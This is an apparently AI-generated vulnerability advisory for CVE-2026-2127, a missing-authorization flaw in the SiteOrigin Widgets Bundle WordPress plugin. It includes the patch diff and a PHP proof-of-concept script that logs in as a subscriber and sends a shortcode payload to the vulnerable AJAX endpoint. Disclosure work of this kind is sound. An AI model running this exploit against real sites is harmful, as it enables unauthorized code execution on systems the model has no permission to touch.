Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2127: SiteOrigin Widgets Bundle <= 1.70.4 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Shortcode Execution (so-widgets-bundle)

CVE ID CVE-2026-2127
Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 1.70.4
Patched Version 1.71.0
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2127:
The SiteOrigin Widgets Bundle plugin for WordPress versions up to 1.70.4 contains a missing capability check vulnerability. This flaw allows authenticated users with Subscriber-level permissions or higher to execute arbitrary shortcodes via the widget preview AJAX endpoint. The vulnerability stems from insufficient authorization in the `siteorigin_widget_preview_widget_action()` function, which only validates a nonce but does not verify user capabilities.

Atomic Edge research identifies the root cause in the `siteorigin_widget_preview_widget_action()` function located in `so-widgets-bundle/base/inc/actions.php`. The function, registered via the `wp_ajax_so_widgets_preview` AJAX action, performed a nonce check using `$_REQUEST[‘_widgets_nonce’]` but lacked any call to `current_user_can()`. The required nonce for this endpoint is exposed on public pages containing the Post Carousel widget, embedded within a `data-ajax-url` HTML attribute. This exposure enables attackers to obtain a valid nonce without administrative access.

The exploitation method involves an authenticated attacker with Subscriber privileges sending a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `so_widgets_preview`. The attacker must include the `_widgets_nonce` parameter, which they can extract from a public page containing the Post Carousel widget. The `class` POST parameter must specify `SiteOrigin_Widget_Editor_Widget`, and the `data` parameter contains the shortcode payload to execute. The plugin then renders the widget preview, executing the embedded shortcode with the permissions of the plugin’s AJAX handler.

The patch introduces a new `siteorigin_verify_request_permissions()` function in `so-widgets-bundle/base/base.php`. This centralized function validates both the nonce and user capability. The vulnerable `siteorigin_widget_preview_widget_action()` function now calls `siteorigin_verify_request_permissions()` without arguments, defaulting to the `edit_posts` capability requirement. The patch also updates all other AJAX handlers in the plugin to use this function, ensuring consistent authorization checks across the codebase. The function terminates execution with a 403 error if either check fails.

Successful exploitation allows attackers to execute arbitrary shortcodes. This can lead to privilege escalation, data exfiltration, or remote code execution depending on available shortcodes. Attackers could embed shortcodes that query sensitive data, modify site content, or invoke other vulnerable plugins. The vulnerability requires an authenticated user account, but the low Subscriber-level permission makes this easily attainable on sites with open registration or compromised credentials.

Differential between vulnerable and patched code

Code Diff
--- a/so-widgets-bundle/base/base.php
+++ b/so-widgets-bundle/base/base.php
@@ -55,9 +55,7 @@
  * The Ajax handler for getting a list of available icons.
  */
 function siteorigin_widget_get_icon_list() {
-	if ( empty( $_REQUEST['_widgets_nonce'] ) || ! wp_verify_nonce( $_REQUEST['_widgets_nonce'], 'widgets_action' ) ) {
-		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
-	}
+	siteorigin_verify_request_permissions();

 	if ( empty( $_GET['family'] ) ) {
 		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 400 );
@@ -717,3 +715,33 @@
 	$json = wp_json_encode( $decoded, JSON_UNESCAPED_SLASHES );
 	return $json ? $json : '[]';
 }
+
+/**
+ * Verify capability and nonce for admin widget actions.
+ *
+ * This function verifies the nonce sent in the request If either check fails, it terminates the request with an generic error message.
+ *
+ * @param string $permission The capability required to perform the action. Default is 'edit_posts'.
+ * @param string $nonce The name of the nonce field to check in the request. Default is '_widgets_nonce'.
+ * @param string $nonce_action The action name to verify the nonce against. Default is 'widgets_action'.
+ *
+ * @return bool True if the nonce and capability checks pass.
+ */
+function siteorigin_verify_request_permissions(
+	$permission = 'edit_posts',
+	$nonce = '_widgets_nonce',
+	$nonce_action = 'widgets_action'
+) : bool {
+	if (
+		empty( $_REQUEST[ $nonce ] ) ||
+		! wp_verify_nonce( $_REQUEST[ $nonce ], $nonce_action )
+	) {
+		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
+	}
+
+	if ( ! current_user_can( $permission ) ) {
+		wp_die( __( 'You do not have permission to make this action.', 'so-widgets-bundle' ), 403 );
+	}
+
+	return true;
+}
--- a/so-widgets-bundle/base/inc/actions.php
+++ b/so-widgets-bundle/base/inc/actions.php
@@ -4,12 +4,9 @@
  * Action for displaying the widget preview.
  */
 function siteorigin_widget_preview_widget_action() {
-	if (
-		empty( $_REQUEST['_widgets_nonce'] ) ||
-		! wp_verify_nonce( $_REQUEST['_widgets_nonce'], 'widgets_action' )
-	) {
-		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
-	} elseif ( empty( $_POST['class'] ) ) {
+	siteorigin_verify_request_permissions();
+
+	if ( empty( $_POST['class'] ) ) {
 		wp_die( __( 'Invalid widget.', 'so-widgets-bundle' ), 400 );
 	}

@@ -94,81 +91,97 @@
 	return $post_type && current_user_can( $post_type->cap->edit_posts );
 }

-/**
- * Action to handle searching posts
- */
-function siteorigin_widget_action_search_posts() {
-	if ( empty( $_REQUEST['_widgets_nonce'] ) || ! wp_verify_nonce( $_REQUEST['_widgets_nonce'], 'widgets_action' ) ) {
-		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
-	}
+class SiteOrigin_Widgets_Bundle_Actions {
+	/**
+	 * Action to handle searching posts.
+	 */
+	public static function search_posts() {
+		siteorigin_verify_request_permissions();
+
+		global $wpdb;
+		$query = '';
+		$wpml_query = '';
+
+		// Get all public post types, besides attachments.
+		$post_types = (array) get_post_types(
+			array(
+				'public' => true,
+			)
+		);

-	global $wpdb;
-	$query = '';
-	$wpml_query = '';
+		if ( ! empty( $_REQUEST['postTypes'] ) ) {
+			$post_types = array_intersect( explode( ',', sanitize_text_field( $_REQUEST['postTypes'] ) ), $post_types );
+		} else {
+			unset( $post_types['attachment'] );
+		}

-	// Get all public post types, besides attachments
-	$post_types = (array) get_post_types(
-		array(
-			'public' => true,
-		)
-	);
+		// If WPML is installed, only include posts from the currently active language.
+		if ( defined( 'ICL_LANGUAGE_CODE' ) && ! empty( $_REQUEST['language'] ) ) {
+			$query .= $wpdb->prepare( " AND {$wpdb->prefix}icl_translations.language_code = %s ", sanitize_text_field( $_REQUEST['language'] ) );
+			$wpml_query .= " INNER JOIN {$wpdb->prefix}icl_translations ON ($wpdb->posts.ID = {$wpdb->prefix}icl_translations.element_id) ";
+		}

-	if ( ! empty( $_REQUEST['postTypes'] ) ) {
-		$post_types = array_intersect( explode( ',', sanitize_text_field( $_REQUEST['postTypes'] ) ), $post_types );
-	} else {
-		unset( $post_types['attachment'] );
-	}
+		if ( ! empty( $_GET['query'] ) ) {
+			$search_query = '%' . $wpdb->esc_like( sanitize_text_field( $_GET['query'] ) ) . '%';
+			$query .= $wpdb->prepare( ' AND post_title LIKE %s ', $search_query );
+		}

-	// If WPML is installed, only include posts from the currently active language.
-	if ( defined( 'ICL_LANGUAGE_CODE' ) && ! empty( $_REQUEST['language'] ) ) {
-		$query .= $wpdb->prepare( " AND {$wpdb->prefix}icl_translations.language_code = %s ", sanitize_text_field( $_REQUEST['language'] ) );
-		$wpml_query .= " INNER JOIN {$wpdb->prefix}icl_translations ON ($wpdb->posts.ID = {$wpdb->prefix}icl_translations.element_id) ";
-	}
+		$post_types = apply_filters( 'siteorigin_widgets_search_posts_post_types', $post_types );

-	if ( ! empty( $_GET['query'] ) ) {
-		$search_query = '%' . $wpdb->esc_like( sanitize_text_field( $_GET['query'] ) ) . '%';
-		$query .= $wpdb->prepare( ' AND post_title LIKE %s ', $search_query );
-	}
+		// Ensure the user can edit this post type.
+		foreach ( $post_types as $key => $post_type ) {
+			if ( ! siteorigin_widget_user_can_edit_post_type( $post_type ) ) {
+				unset( $post_types[ $key ] );
+			}
+		}
+		$post_types = "'" . implode( "', '", array_map( 'esc_sql', $post_types ) ) . "'";

-	$post_types = apply_filters( 'siteorigin_widgets_search_posts_post_types', $post_types );
+		$ordered_by = self::get_search_posts_order_by();

-	// Ensure the user can edit this post type.
-	foreach ( $post_types as $key => $post_type ) {
-		if ( ! siteorigin_widget_user_can_edit_post_type( $post_type ) ) {
-			unset( $post_types[ $key ] );
+		$results = $wpdb->get_results(
+			"
+			SELECT ID AS 'value', post_title AS label, post_type AS 'type'
+			FROM {$wpdb->posts}
+			{$wpml_query}
+			WHERE
+				post_type IN ( {$post_types} ) AND post_status = 'publish' {$query}
+			ORDER BY {$ordered_by}
+			LIMIT 20
+		",
+			ARRAY_A
+		);
+
+		if ( empty( $results ) ) {
+			wp_send_json( array() );
 		}
-	}
-	$post_types = "'" . implode( "', '", array_map( 'esc_sql', $post_types ) ) . "'";

-	$ordered_by = esc_sql( apply_filters( 'siteorigin_widgets_search_posts_order_by', 'post_modified DESC' ) );
+		// Filter results to ensure the user can read the post.
+		$results = array_filter(
+			$results,
+			function ( $post ) {

-	$results = $wpdb->get_results(
-		"
-		SELECT ID AS 'value', post_title AS label, post_type AS 'type'
-		FROM {$wpdb->posts}
-		{$wpml_query}
-		WHERE
-			post_type IN ( {$post_types} ) AND post_status = 'publish' {$query}
-		ORDER BY {$ordered_by}
-		LIMIT 20
-	",
-		ARRAY_A
-	);
+				return current_user_can( 'read_post', $post['value'] );
+			}
+		);

-	if ( empty( $results ) ) {
-		wp_send_json( array() );
+		wp_send_json( apply_filters( 'siteorigin_widgets_search_posts_results', $results ) );
 	}

-	// Filter results to ensure the user can read the post.
-	$results = array_filter(
-		$results,
-		function ( $post ) {
-
-			return current_user_can( 'read_post', $post['value'] );
-		}
-	);
+	/**
+	 * Get the ORDER BY clause for post searches.
+	 *
+	 * @return string
+	 */
+	private static function get_search_posts_order_by() {
+		return esc_sql( apply_filters( 'siteorigin_widgets_search_posts_order_by', 'post_modified DESC' ) );
+	}
+}

-	wp_send_json( apply_filters( 'siteorigin_widgets_search_posts_results', $results ) );
+/**
+ * Action to handle searching posts.
+ */
+function siteorigin_widget_action_search_posts() {
+	SiteOrigin_Widgets_Bundle_Actions::search_posts();
 }
 add_action( 'wp_ajax_so_widgets_search_posts', 'siteorigin_widget_action_search_posts' );

@@ -215,9 +228,7 @@
  * Action to handle searching taxonomy terms.
  */
 function siteorigin_widget_action_search_terms() {
-	if ( empty( $_REQUEST['_widgets_nonce'] ) || ! wp_verify_nonce( $_REQUEST['_widgets_nonce'], 'widgets_action' ) ) {
-		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
-	}
+	siteorigin_verify_request_permissions();

 	global $wpdb;
 	$term = ! empty( $_GET['term'] ) ? sanitize_text_field( stripslashes( $_GET['term'] ) ) : '';
@@ -260,9 +271,7 @@
  * Action for getting the number of posts returned by a query.
  */
 function siteorigin_widget_get_posts_count_action() {
-	if ( empty( $_REQUEST['_widgets_nonce'] ) || ! wp_verify_nonce( $_REQUEST['_widgets_nonce'], 'widgets_action' ) ) {
-		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
-	}
+	siteorigin_verify_request_permissions();

 	$query = stripslashes( $_POST['query'] );

@@ -272,9 +281,7 @@
 add_action( 'wp_ajax_sow_get_posts_count', 'siteorigin_widget_get_posts_count_action' );

 function siteorigin_widget_remote_image_search() {
-	if ( empty( $_GET[ '_sononce' ] ) || ! wp_verify_nonce( $_GET[ '_sononce' ], 'so-image' ) ) {
-		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
-	}
+	siteorigin_verify_request_permissions( 'upload_files', '_sononce', 'so-image' );

 	if ( empty( $_GET['q'] ) ) {
 		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 400 );
@@ -318,12 +325,9 @@
 add_action( 'wp_ajax_so_widgets_image_search', 'siteorigin_widget_remote_image_search' );

 function siteorigin_widget_image_import() {
-	if ( empty( $_GET[ '_sononce' ] ) || ! wp_verify_nonce( $_GET[ '_sononce' ], 'so-image' ) ) {
-		$result = array(
-			'error' => true,
-			'message' => __( 'Nonce error', 'so-widgets-bundle' ),
-		);
-	} elseif (
+	siteorigin_verify_request_permissions( 'upload_files', '_sononce', 'so-image' );
+
+	if (
 		empty( $_GET['import_signature'] ) ||
 		empty( $_GET['full_url'] ) ||
 		md5( $_GET['full_url'] . '::' . NONCE_SALT ) !== $_GET['import_signature']
@@ -370,9 +374,7 @@
  * Action to handle a user dismissing a teaser notice.
  */
 function siteorigin_widgets_dismiss_widget_action() {
-	if ( empty( $_GET[ '_wpnonce' ] ) || ! wp_verify_nonce( $_GET[ '_wpnonce' ], 'dismiss-widget-teaser' ) ) {
-		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
-	}
+	siteorigin_verify_request_permissions( 'edit_posts', '_wpnonce', 'dismiss-widget-teaser' );

 	if ( empty( $_GET[ 'widget' ] ) ) {
 		wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 400 );
--- a/so-widgets-bundle/base/inc/fields/autocomplete.class.php
+++ b/so-widgets-bundle/base/inc/fields/autocomplete.class.php
@@ -20,6 +20,13 @@
 	protected $source;

 	/**
+	 * Additional data to include with the autocomplete Ajax request.
+	 *
+	 * @var array
+	 */
+	protected $ajax_data;
+
+	/**
 	 * Whether to allow multiple items to be selected.
 	 *
 	 * @access protected
@@ -43,6 +50,10 @@

 	protected function render_after_field( $value, $instance ) {
 		$post_types = ! empty( $this->post_types ) && is_array( $this->post_types ) ? implode( ',', $this->post_types ) : '';
+		$ajax_params_attribute = '';
+		if ( ! empty( $this->ajax_data ) && is_array( $this->ajax_data ) ) {
+			$ajax_params_attribute = ' data-ajax-params="' . esc_attr( wp_json_encode( $this->ajax_data ) ) . '"';
+		}
 		?>
 		<div class="existing-content-selector" data-multiple="<?php echo esc_attr( $this->multiple ); ?>">

@@ -51,6 +62,7 @@
 				class="content-text-search"
 				data-post-types="<?php echo esc_attr( $post_types ); ?>"
 				data-source="<?php echo esc_attr( $this->source ); ?>"
+				<?php echo $ajax_params_attribute; ?>
 				placeholder="<?php esc_attr_e( 'Search', 'so-widgets-bundle' ); ?>"
 				tabindex="0"
 			/>
--- a/so-widgets-bundle/base/inc/fields/media.class.php
+++ b/so-widgets-bundle/base/inc/fields/media.class.php
@@ -41,10 +41,16 @@
 	 */
 	protected $fallback;

+	/**
+	 * Initializes the media field, adding the image search dialog if necessary.
+	 */
 	protected function initialize() {
 		static $once;

-		if ( empty( $once ) ) {
+		if (
+			empty( $once ) &&
+			$this->user_can_upload_media()
+		) {
 			add_action( 'siteorigin_widgets_footer_admin_templates', array( $this, 'image_search_dialog' ) );
 		}
 		$once = true;
@@ -59,6 +65,16 @@
 		);
 	}

+	/**
+	 * Checks if the current user has permissions to upload media.
+	 * If they don't, the media search button and dialog will not be rendered.
+	 *
+	 * @return bool True if the user can upload media, false otherwise.
+	 */
+	private function user_can_upload_media() : bool {
+		return current_user_can( 'upload_files' );
+	}
+
 	protected function render_field( $value, $instance ) {
 		if ( version_compare( get_bloginfo( 'version' ), '3.5', '<' ) ) {
 			printf( __( 'You need to <a href="%s">upgrade</a> to WordPress 3.5 to use media fields', 'so-widgets-bundle' ), admin_url( 'update-core.php' ) );
@@ -108,7 +124,7 @@
 			>
 				<?php echo esc_html( $this->choose ); ?>
 			</a>
-			<?php if ( $this->library == 'image' ) { ?>
+			<?php if ( $this->library == 'image' && $this->user_can_upload_media() ) { ?>
 				<a href="#" class="find-image-button">
 					<?php echo esc_html( $this->image_search ); ?>
 				</a>
--- a/so-widgets-bundle/compat/visual-composer/visual-composer.php
+++ b/so-widgets-bundle/compat/visual-composer/visual-composer.php
@@ -132,9 +132,7 @@
 			wp_die();
 		}

-		if ( empty( $_REQUEST['_sowbnonce'] ) || ! wp_verify_nonce( $_REQUEST['_sowbnonce'], 'sowb_vc_widget_render_form' ) ) {
-			wp_die();
-		}
+		siteorigin_verify_request_permissions( 'edit_posts', '_sowbnonce', 'sowb_vc_widget_render_form' );

 		$request = array_map( 'stripslashes_deep', $_REQUEST );
 		$widget_class = $request['widget'];
--- a/so-widgets-bundle/so-widgets-bundle.php
+++ b/so-widgets-bundle/so-widgets-bundle.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: SiteOrigin Widgets Bundle
 Description: A highly customizable collection of widgets, ready to be used anywhere, neatly bundled into a single plugin.
-Version: 1.70.4
+Version: 1.71.0
 Text Domain: so-widgets-bundle
 Domain Path: /lang
 Author: SiteOrigin
@@ -12,7 +12,7 @@
 License URI: https://www.gnu.org/licenses/gpl-3.0.txt
 */

-define( 'SOW_BUNDLE_VERSION', '1.70.4' );
+define( 'SOW_BUNDLE_VERSION', '1.71.0' );
 define( 'SOW_BUNDLE_BASE_FILE', __FILE__ );

 // Allow JS suffix to be pre-set.
@@ -582,10 +582,7 @@
 	 * Get JavaScript variables for admin.
 	 */
 	public function admin_ajax_get_javascript_variables() {
-		if ( empty( $_REQUEST['_widgets_nonce'] ) ||
-			! wp_verify_nonce( $_REQUEST['_widgets_nonce'], 'widgets_action' ) ) {
-			wp_die( __( 'Invalid request.', 'so-widgets-bundle' ), 403 );
-		}
+		siteorigin_verify_request_permissions();

 		$widget_class = $_POST['widget'];
 		global $wp_widget_factory;
--- a/so-widgets-bundle/widgets/accordion/accordion.php
+++ b/so-widgets-bundle/widgets/accordion/accordion.php
@@ -134,6 +134,21 @@
 								'type' => 'color',
 								'label' => __( 'Title hover color', 'so-widgets-bundle' ),
 							),
+							'title_tag' => array(
+								'type' => 'select',
+								'label' => __( 'Title HTML Tag', 'so-widgets-bundle' ),
+								'default' => 'div',
+								'options' => array(
+									'h1' => __( 'H1', 'so-widgets-bundle' ),
+									'h2' => __( 'H2', 'so-widgets-bundle' ),
+									'h3' => __( 'H3', 'so-widgets-bundle' ),
+									'h4' => __( 'H4', 'so-widgets-bundle' ),
+									'h5' => __( 'H5', 'so-widgets-bundle' ),
+									'h6' => __( 'H6', 'so-widgets-bundle' ),
+									'p' => __( 'Paragraph', 'so-widgets-bundle' ),
+									'div' => __( 'Div', 'so-widgets-bundle' ),
+								),
+							),
 							'border_color' => array(
 								'type' => 'color',
 								'label' => __( 'Border color', 'so-widgets-bundle' ),
@@ -212,6 +227,17 @@
 			return array();
 		}

+		$title_tag = siteorigin_widget_valid_tag(
+			$instance['design']['heading']['title_tag'] ?? '',
+			'div',
+			array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'div' )
+		);
+		$title_level = 2;
+		if ( preg_match( '/^h([1-6])$/', $title_tag, $matches ) ) {
+			$title_level = (int) $matches[1];
+		}
+		$title_has_native_heading = preg_match( '/^h[1-6]$/', $title_tag ) === 1;
+
 		$panels = empty( $instance['panels'] ) ? array() : $instance['panels'];

 		$anchor_list = array();
@@ -256,13 +282,34 @@
 			'panels' => $panels,
 			'icon_open' => $instance['design']['heading']['icon_open'],
 			'icon_close' => $instance['design']['heading']['icon_close'],
+			'title_tag' => $title_tag,
+			'title_level' => $title_level,
+			'title_has_native_heading' => $title_has_native_heading,
 		);
 	}

 	public function render_panel_content( $panel, $instance ) {
 		$content = $panel['autop'] ? wpautop( $panel['content_text'] ) : $panel['content_text'];

-		echo apply_filters( 'siteorigin_widgets_accordion_render_panel_content', $content, $panel, $instance );
+		$content = apply_filters( 'siteorigin_widgets_accordion_render_panel_content', $content, $panel, $instance );
+
+		$lazy_iframes = apply_filters( 'siteorigin_widgets_accordion_lazy_iframes', true, $panel, $instance );
+		if ( $lazy_iframes ) {
+			// Ensure oEmbed URLs are converted before we swap iframes.
+			if ( class_exists( 'WP_Embed' ) ) {
+				global $wp_embed;
+				if ( $wp_embed instanceof WP_Embed ) {
+					$content = $wp_embed->autoembed( $content );
+					$content = $wp_embed->run_shortcode( $content );
+				}
+			}
+
+			// Replace iframe tags so we can swap them back on panel open for lazy loading.
+			$content = preg_replace( '/<s*iframeb([^>]*)>/i', '<so-iframe$1>', $content );
+			$content = preg_replace( '/</s*iframes*>/i', '</so-iframe>', $content );
+		}
+
+		echo $content;
 	}

 	public function get_form_teaser() {
--- a/so-widgets-bundle/widgets/accordion/tpl/default.php
+++ b/so-widgets-bundle/widgets/accordion/tpl/default.php
@@ -4,6 +4,9 @@
  * @var array  $panels
  * @var string $icon_open
  * @var string $icon_close
+ * @var string $title_tag
+ * @var int    $title_level
+ * @var bool   $title_has_native_heading
  */
 if ( ! empty( $instance['title'] ) ) {
 	echo $args['before_title'] . wp_kses_post( $instance['title'] ) . $args['after_title'];
@@ -17,16 +20,16 @@
 		if ( $panel['initial_state'] == 'open' ) {
 			echo ' sow-accordion-panel-open';
 		}
-		?>
-		"
-			data-anchor-id="<?php echo esc_attr( sanitize_title( $panel['anchor'] ) ); ?>">
-				<div class="sow-accordion-panel-header-container" role="heading" aria-level="2">
+			?>
+			"
+				data-anchor-id="<?php echo esc_attr( sanitize_title( $panel['anchor'] ) ); ?>">
+					<div class="sow-accordion-panel-header-container"<?php if ( ! $title_has_native_heading ) { ?> role="heading" aria-level="<?php echo esc_attr( $title_level ); ?>"<?php } ?>>
 					<div class="sow-accordion-panel-header" tabindex="0" role="button" id="accordion-label-<?php echo sanitize_title_with_dashes( $panel['anchor'] ); ?>" aria-controls="accordion-content-<?php echo sanitize_title_with_dashes( $panel['anchor'] ); ?>" aria-expanded="<?php echo $panel['initial_state'] == 'open' ? 'true' : 'false'; ?>">
-						<div class="sow-accordion-title <?php echo empty( $panel['after_title'] ) ? 'sow-accordion-title-icon-left' : 'sow-accordion-title-icon-right'; ?>">
+						<<?php echo esc_attr( $title_tag ); ?> class="sow-accordion-title <?php echo empty( $panel['after_title'] ) ? 'sow-accordion-title-icon-left' : 'sow-accordion-title-icon-right'; ?>">
 							<?php echo $panel['before_title']; ?>
 							<?php echo wp_kses_post( $panel['title'] ); ?>
 							<?php echo $panel['after_title']; ?>
-						</div>
+						</<?php echo esc_attr( $title_tag ); ?>>
 						<div class="sow-accordion-open-close-button">
 							<div class="sow-accordion-open-button">
 								<?php echo siteorigin_widget_get_icon( $icon_open ); ?>
--- a/so-widgets-bundle/widgets/social-media-buttons/data/networks.php
+++ b/so-widgets-bundle/widgets/social-media-buttons/data/networks.php
@@ -172,6 +172,12 @@
 		'icon_color' => '#ffffff',
 		'button_color' => '#202021',
 	),
+	'gitlab' => array(
+		'label' => __( 'GitLab', 'so-widgets-bundle' ),
+		'base_url' => 'https://gitlab.com/',
+		'icon_color' => '#ffffff',
+		'button_color' => '#fc6d26',
+	),
 	'goodreads-g' => array(
 		'label' => __( 'Goodreads', 'so-widgets-bundle' ),
 		'base_url' => 'https://goodreads.com/',
--- a/so-widgets-bundle/widgets/social-media-buttons/social-media-buttons.php
+++ b/so-widgets-bundle/widgets/social-media-buttons/social-media-buttons.php
@@ -267,7 +267,9 @@
 					}
 				}

-				if (
+				if ( $network['name'] === 'skype' ) {
+					$network['icon_name'] = 'fontawesome-sow-fab-microsoft';
+				} elseif (
 					$network['name'] != 'envelope' &&
 					$network['name'] != 'suitcase' &&
 					$network['name'] != 'rss' &&

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2127 - SiteOrigin Widgets Bundle <= 1.70.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Shortcode Execution

<?php

$target_url = 'https://vulnerable-site.example.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Step 1: Authenticate to obtain WordPress session cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get login page to retrieve nonce
$response = curl_exec($ch);
preg_match('/name="log" value="([^"]*)"/', $response, $log_match);
preg_match('/name="pwd" value="([^"]*)"/', $response, $pwd_match);

// Submit login form
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Extract nonce from a public page with Post Carousel widget
// In a real attack, the attacker would visit a public page containing the widget
// and extract the nonce from the data-ajax-url attribute
// For this PoC, we assume the attacker has obtained a valid nonce
$nonce = 'EXTRACTED_NONCE_FROM_DATA_AJAX_URL';

// Step 3: Execute arbitrary shortcode via vulnerable endpoint
$payload = [
    'action' => 'so_widgets_preview',
    '_widgets_nonce' => $nonce,
    'class' => 'SiteOrigin_Widget_Editor_Widget',
    'data' => json_encode([
        'text' => '[shortcode_to_execute]',
        'autop' => false
    ])
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
$response = curl_exec($ch);

echo "Response:n";
echo $response;

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School